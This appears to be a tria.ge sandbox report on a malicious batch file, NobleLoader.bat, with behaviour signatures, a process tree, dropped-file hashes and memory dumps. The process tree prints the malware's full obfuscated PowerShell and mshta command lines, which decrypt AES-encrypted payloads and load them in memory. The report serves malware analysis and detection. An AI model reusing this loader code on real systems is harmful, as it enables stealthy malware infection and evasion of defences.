Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Overview

overview

10

Static

static

1

NobleLoader.bat

windows7-x64

7

NobleLoader.bat

windows10-2004-x64

10

Analysis

  • max time kernel
    54s
  • max time network
    76s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230915-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system
  • submitted
    13/10/2023, 01:36

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    NobleLoader.bat

  • Size

    14.7MB

  • MD5

    41171b66cefb46e58ba0df569a29588b

  • SHA1

    ef11eca23d8b41ca19fc88029ebb4ff672de2f9f

  • SHA256

    314414050eb799fc18f7ee3b8846245f12e991944ef28460de7d76146fbd73fe

  • SHA512

    04dfa344fc41fbded8b90b72291fa97916a6b569503cf6e366e88b00c3d1ecedbe51bcc6b5aecd0ba995a3a0a8af568cb0921d0c1e9e5693051ff2caa6c0ce35

  • SSDEEP

    49152:htLRC7rgOCeCecxKk5As27eSlwlLe/KY/yhRsfP6NcgDn8etxb6Qg8H3VkgLh+tE:J

Score
10/10

Malware Config

Signatures

  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 6 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Windows directory 6 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 13 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 18 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Windows\system32\winlogon.exe
    winlogon.exe
    1⤵
      PID:600
      • C:\Windows\System32\dllhost.exe
        C:\Windows\System32\dllhost.exe /Processid:{d50ba27b-b0e2-4d2c-ae21-3f00f4c0806f}
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2588
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\NobleLoader.bat"
      1⤵
      • Suspicious use of WriteProcessMemory
      PID:4408
      • C:\Users\Admin\AppData\Local\Temp\NobleLoader.bat.exe
        "NobleLoader.bat.exe" -noprofile -windowstyle hidden -ep bypass -command function dKkPF($rLJWw){ $ySOir=[System.Security.Cryptography.Aes]::Create(); $ySOir.Mode=[System.Security.Cryptography.CipherMode]::CBC; $ySOir.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $ySOir.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('5fl4XsmQUlo5HqJe6IBfvpWzFzSP1woqDovxAl5nwYc='); $ySOir.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('JV1yPqn7LVbeB01ZBy1dKQ=='); $oPUml=$ySOir.CreateDecryptor(); $return_var=$oPUml.TransformFinalBlock($rLJWw, 0, $rLJWw.Length); $oPUml.Dispose(); $ySOir.Dispose(); $return_var;}function dpCjA($rLJWw){ $NUAvB=New-Object System.IO.MemoryStream(,$rLJWw); $Tmkrt=New-Object System.IO.MemoryStream; $XuDmZ=New-Object System.IO.Compression.GZipStream($NUAvB, [IO.Compression.CompressionMode]::Decompress); $XuDmZ.CopyTo($Tmkrt); $XuDmZ.Dispose(); $NUAvB.Dispose(); $Tmkrt.Dispose(); $Tmkrt.ToArray();}function MAUEU($rLJWw,$UonDX){ $QBoaH=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$rLJWw); $qHjlp=$QBoaH.EntryPoint; $qHjlp.Invoke($null, $UonDX);}$jzSnL=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\NobleLoader.bat').Split([Environment]::NewLine);foreach ($oDbrA in $jzSnL) { if ($oDbrA.StartsWith('SEROXEN')) { $JjzPL=$oDbrA.Substring(7); break; }}$gLogk=[string[]]$JjzPL.Split('\');$iDoUz=dpCjA (dKkPF ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($gLogk[0])));$JhZoF=dpCjA (dKkPF ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($gLogk[1])));MAUEU $JhZoF (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));MAUEU $iDoUz (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Executes dropped EXE
        • Drops file in System32 directory
        • Suspicious use of SetThreadContext
        • Drops file in Windows directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4100
        • C:\Windows\SysWOW64\dllhost.exe
          C:\Windows\SysWOW64\dllhost.exe /Processid:{9638c096-a08a-4933-8522-1331bf369bd9}
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4516
    • C:\Windows\$sxr-mshta.exe
      C:\Windows\$sxr-mshta.exe "javascript:document['wr'+'it'+'e']('<h'+'tm'+'l>'+'<s'+'cr'+'ip'+'t\x20'+'la'+'ng'+'ua'+'ge'+'=\x22'+'VB'+'Sc'+'ri'+'pt'+'\x22>'+'Se'+'t\x20'+'ob'+'jS'+'he'+'ll'+'\x20='+'\x20C'+'re'+'at'+'eO'+'bj'+'ec'+'t('+'\x22W'+'Sc'+'ri'+'pt'+'.S'+'he'+'ll'+'\x22)'+'\x20:'+'\x20o'+'bj'+'Sh'+'el'+'l.'+'Ru'+'n\x20'+'\x22C:\\Windows\\$sxr-c'+'md'+'.e'+'xe'+'\x20/'+'c %'+'$sxr-MvPYaTRuIPSZNrxEiRWh4312:&#<?=%'+'\x22,'+'\x200'+',\x20'+'Tr'+'ue'+'</'+'sc'+'ri'+'pt'+'><'+'/h'+'tm'+'l>');close();"
      1⤵
      • Checks computer location settings
      • Executes dropped EXE
      • Modifies registry class
      PID:2148
      • C:\Windows\$sxr-cmd.exe
        "C:\Windows\$sxr-cmd.exe" /c %$sxr-MvPYaTRuIPSZNrxEiRWh4312:&#<?=%
        2⤵
          PID:4936
          • C:\Windows\$sxr-powershell.exe
            C:\Windows\$sxr-powershell.exe -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command function wNhao($prkbl){ $ArPpa=[System.Security.Cryptography.Aes]::Create(); $ArPpa.Mode=[System.Security.Cryptography.CipherMode]::CBC; $ArPpa.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $ArPpa.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('65Ebd6vHq6TX16ga6zI1IFK0v1fCtpsKLm9JpmdvCHI='); $ArPpa.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('95bZw1gwlNXS+pD9hTVZJg=='); $nRrzA=$ArPpa.('rotpyrceDetaerC'[-1..-15] -join '')(); $jaRLJ=$nRrzA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($prkbl, 0, $prkbl.Length); $nRrzA.Dispose(); $ArPpa.Dispose(); $jaRLJ;}function FChEf($prkbl){ $XTeLt=New-Object System.IO.MemoryStream(,$prkbl); $MIMdX=New-Object System.IO.MemoryStream; $njCfP=New-Object System.IO.Compression.GZipStream($XTeLt, [IO.Compression.CompressionMode]::Decompress); $njCfP.CopyTo($MIMdX); $njCfP.Dispose(); $XTeLt.Dispose(); $MIMdX.Dispose(); $MIMdX.ToArray();}function ITRZd($prkbl,$oiIjT){ $IcwMA=[System.Reflection.Assembly]::Load([byte[]]$prkbl); $SPENo=$IcwMA.EntryPoint; $SPENo.Invoke($null, $oiIjT);}$ArPpa1 = New-Object System.Security.Cryptography.AesManaged;$ArPpa1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$ArPpa1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$ArPpa1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('65Ebd6vHq6TX16ga6zI1IFK0v1fCtpsKLm9JpmdvCHI=');$ArPpa1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('95bZw1gwlNXS+pD9hTVZJg==');$KWJar = $ArPpa1.('rotpyrceDetaerC'[-1..-15] -join '')();$RaQHB = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('gA76EQk6hYE1RyeUBd/GoQ==');$RaQHB = $KWJar.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($RaQHB, 0, $RaQHB.Length);$RaQHB = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($RaQHB);$tpzzo = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('8quODYI9+Adei1r1SlnwES4aOy8Ei/VLdoquaAEhG1k=');$tpzzo = $KWJar.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($tpzzo, 0, $tpzzo.Length);$tpzzo = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($tpzzo);$VOJIp = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('XSCbdJ28EJeD1VymCPhaKA==');$VOJIp = $KWJar.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($VOJIp, 0, $VOJIp.Length);$VOJIp = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($VOJIp);$UgTqr = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('yJSVwIEjDMqHWobiiKRH52fv2lxjaA2gIvJAlNM9C+BmorA9m4asL39ZkJaLpmO1s4yL3awypyAL+I9ZXpf2krM8SPTNAV60zkdoNObibSgwpf+5IaCvSZXrOg/qjj9XQYoQMy++O24xZSBDQlwd9YDbZChhJJWHJaz+mcgjWaNgbvyNAUzTqmEPCcDUNebKzVrfeq0dpFDuKGdp0cMhqV4Tr8r3Xs8uGoeeyaxnrrwu8mda2gbz6l8wolg0AuU3D439ep2CT/WBj+XroG8EJhKhTEQ37to2xsMOaAFnHMzuwxi4nb5QS83ImKNPxr8kd4iwsGVgXdPYBj2S2xNEchZ6e/dmNAipXVJQOn0veaoOPT3m8edeCvSWOR5F6zlRlm/bp3jnjrCZ/jyVyVnwGfjxPaObAHygRIYqChWCyUY=');$UgTqr = $KWJar.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UgTqr, 0, $UgTqr.Length);$UgTqr = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UgTqr);$fCfPa = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Us332iAHjgWOhgaRshGODQ==');$fCfPa = $KWJar.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($fCfPa, 0, $fCfPa.Length);$fCfPa = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($fCfPa);$xTYKj = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('uNlCKAozfzUEf0nV3FIi9g==');$xTYKj = $KWJar.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($xTYKj, 0, $xTYKj.Length);$xTYKj = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($xTYKj);$nfgYm = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FHF+WVU+v4+GAzDx3FeUEg==');$nfgYm = $KWJar.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($nfgYm, 0, $nfgYm.Length);$nfgYm = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($nfgYm);$ikjkp = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('d+yRYZBsNBVIal7rrOAm2g==');$ikjkp = $KWJar.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ikjkp, 0, $ikjkp.Length);$ikjkp = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ikjkp);$aRLNp = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('hth6k5++9SaNEowJjgWW9w==');$aRLNp = $KWJar.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($aRLNp, 0, $aRLNp.Length);$aRLNp = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($aRLNp);$RaQHB0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('m0HR2gJF++gZsSGuRrcRDQ==');$RaQHB0 = $KWJar.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($RaQHB0, 0, $RaQHB0.Length);$RaQHB0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($RaQHB0);$RaQHB1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Gy55qmZicbf9C9mFG1eyuw==');$RaQHB1 = $KWJar.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($RaQHB1, 0, $RaQHB1.Length);$RaQHB1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($RaQHB1);$RaQHB2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('dhymn2RmBiLi4GEhz1ZaTg==');$RaQHB2 = $KWJar.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($RaQHB2, 0, $RaQHB2.Length);$RaQHB2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($RaQHB2);$RaQHB3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('vqnmfAF8b48kJjOQ1VWrIQ==');$RaQHB3 = $KWJar.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($RaQHB3, 0, $RaQHB3.Length);$RaQHB3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($RaQHB3);$KWJar.Dispose();$ArPpa1.Dispose();if (@(get-process -ea silentlycontinue $RaQHB3).count -gt 1) {exit};$WweEW = [Microsoft.Win32.Registry]::$ikjkp.$nfgYm($RaQHB).$xTYKj($tpzzo);$PFILz=[string[]]$WweEW.Split('\');$VXFZG=FChEf(wNhao([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($PFILz[1])));ITRZd $VXFZG (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$VuNLa = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($PFILz[0]);$ArPpa = New-Object System.Security.Cryptography.AesManaged;$ArPpa.Mode = [System.Security.Cryptography.CipherMode]::CBC;$ArPpa.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$ArPpa.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('65Ebd6vHq6TX16ga6zI1IFK0v1fCtpsKLm9JpmdvCHI=');$ArPpa.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('95bZw1gwlNXS+pD9hTVZJg==');$nRrzA = $ArPpa.('rotpyrceDetaerC'[-1..-15] -join '')();$VuNLa = $nRrzA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($VuNLa, 0, $VuNLa.Length);$nRrzA.Dispose();$ArPpa.Dispose();$XTeLt = New-Object System.IO.MemoryStream(, $VuNLa);$MIMdX = New-Object System.IO.MemoryStream;$njCfP = New-Object System.IO.Compression.GZipStream($XTeLt, [IO.Compression.CompressionMode]::$RaQHB1);$njCfP.$aRLNp($MIMdX);$njCfP.Dispose();$XTeLt.Dispose();$MIMdX.Dispose();$VuNLa = $MIMdX.ToArray();$TRwcH = $UgTqr | IEX;$IcwMA = $TRwcH::$RaQHB2($VuNLa);$SPENo = $IcwMA.EntryPoint;$SPENo.$RaQHB0($null, (, [string[]] ($VOJIp)))
            3⤵
              PID:3976

        Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\Temp\NobleLoader.bat.exe
          Filesize

          442KB

          MD5

          04029e121a0cfa5991749937dd22a1d9

          SHA1

          f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

          SHA256

          9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

          SHA512

          6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

          Download Submit

        • C:\Users\Admin\AppData\Local\Temp\NobleLoader.bat.exe
          Filesize

          442KB

          MD5

          04029e121a0cfa5991749937dd22a1d9

          SHA1

          f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

          SHA256

          9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

          SHA512

          6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

          Download Submit

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_pgjs2y24.ka4.ps1
          Filesize

          60B

          MD5

          d17fe0a3f47be24a6453e9ef58c94641

          SHA1

          6ab83620379fc69f80c0242105ddffd7d98d5d9d

          SHA256

          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

          SHA512

          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

          Download Submit

        • C:\Windows\$sxr-cmd.exe
          Filesize

          283KB

          MD5

          8a2122e8162dbef04694b9c3e0b6cdee

          SHA1

          f1efb0fddc156e4c61c5f78a54700e4e7984d55d

          SHA256

          b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450

          SHA512

          99e784141193275d4364ba1b8762b07cc150ca3cb7e9aa1d4386ba1fa87e073d0500e61572f8d1b071f2faa2a51bb123e12d9d07054b59a1a2fd768ad9f24397

          Download Submit

        • C:\Windows\$sxr-cmd.exe
          Filesize

          283KB

          MD5

          8a2122e8162dbef04694b9c3e0b6cdee

          SHA1

          f1efb0fddc156e4c61c5f78a54700e4e7984d55d

          SHA256

          b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450

          SHA512

          99e784141193275d4364ba1b8762b07cc150ca3cb7e9aa1d4386ba1fa87e073d0500e61572f8d1b071f2faa2a51bb123e12d9d07054b59a1a2fd768ad9f24397

          Download Submit

        • C:\Windows\$sxr-mshta.exe
          Filesize

          14KB

          MD5

          0b4340ed812dc82ce636c00fa5c9bef2

          SHA1

          51c97ebe601ef079b16bcd87af827b0be5283d96

          SHA256

          dba3137811c686fd35e418d76184070e031f207002649da95385dfd05a8bb895

          SHA512

          d9df8c1f093ea0f7bde9c356349b2ba43e3ca04b4c87c0f33ab89dda5afe9966313a09b60720aa22a1a25d43d7c71a060af93fb8f6488201a0e301c83fa18045

          Download Submit

        • C:\Windows\$sxr-mshta.exe
          Filesize

          14KB

          MD5

          0b4340ed812dc82ce636c00fa5c9bef2

          SHA1

          51c97ebe601ef079b16bcd87af827b0be5283d96

          SHA256

          dba3137811c686fd35e418d76184070e031f207002649da95385dfd05a8bb895

          SHA512

          d9df8c1f093ea0f7bde9c356349b2ba43e3ca04b4c87c0f33ab89dda5afe9966313a09b60720aa22a1a25d43d7c71a060af93fb8f6488201a0e301c83fa18045

          Download Submit

        • C:\Windows\$sxr-powershell.exe
          Filesize

          442KB

          MD5

          04029e121a0cfa5991749937dd22a1d9

          SHA1

          f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

          SHA256

          9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

          SHA512

          6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

          Download Submit

        • C:\Windows\$sxr-powershell.exe
          Filesize

          442KB

          MD5

          04029e121a0cfa5991749937dd22a1d9

          SHA1

          f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

          SHA256

          9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

          SHA512

          6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

          Download Submit

        • memory/2588-32-0x0000000140000000-0x0000000140004000-memory.dmp

          Filesize

          16KB

          Download

        • memory/2588-30-0x0000000140000000-0x0000000140004000-memory.dmp

          Filesize

          16KB

          Download

        • memory/4100-25-0x000001DF090F0000-0x000001DF0924E000-memory.dmp

          Filesize

          1.4MB

          Download

        • memory/4100-16-0x000001DF59AA0000-0x000001DF59AB0000-memory.dmp

          Filesize

          64KB

          Download

        • memory/4100-24-0x000001DF08F40000-0x000001DF090F0000-memory.dmp

          Filesize

          1.7MB

          Download

        • memory/4100-21-0x00007FFC70FF0000-0x00007FFC710AE000-memory.dmp

          Filesize

          760KB

          Download

        • memory/4100-26-0x000001DF09250000-0x000001DF092A8000-memory.dmp

          Filesize

          352KB

          Download

        • memory/4100-27-0x000001DF092B0000-0x000001DF092C0000-memory.dmp

          Filesize

          64KB

          Download

        • memory/4100-28-0x00007FFC72050000-0x00007FFC72245000-memory.dmp

          Filesize

          2.0MB

          Download

        • memory/4100-20-0x00007FFC72050000-0x00007FFC72245000-memory.dmp

          Filesize

          2.0MB

          Download

        • memory/4100-19-0x000001DF00000000-0x000001DF00024000-memory.dmp

          Filesize

          144KB

          Download

        • memory/4100-13-0x000001DF59AE0000-0x000001DF59B02000-memory.dmp

          Filesize

          136KB

          Download

        • memory/4100-14-0x00007FFC52450000-0x00007FFC52F11000-memory.dmp

          Filesize

          10.8MB

          Download

        • memory/4100-18-0x000001DF59AA0000-0x000001DF59AB0000-memory.dmp

          Filesize

          64KB

          Download

        • memory/4100-17-0x00007FFC52450000-0x00007FFC52F11000-memory.dmp

          Filesize

          10.8MB

          Download

        • memory/4100-22-0x000001DF00320000-0x000001DF00F38000-memory.dmp

          Filesize

          12.1MB

          Download

        • memory/4100-15-0x000001DF59AA0000-0x000001DF59AB0000-memory.dmp

          Filesize

          64KB

          Download

        • memory/4516-35-0x0000000000400000-0x0000000000406000-memory.dmp

          Filesize

          24KB

          Download

        • memory/4516-33-0x0000000000400000-0x0000000000406000-memory.dmp

          Filesize

          24KB

          Download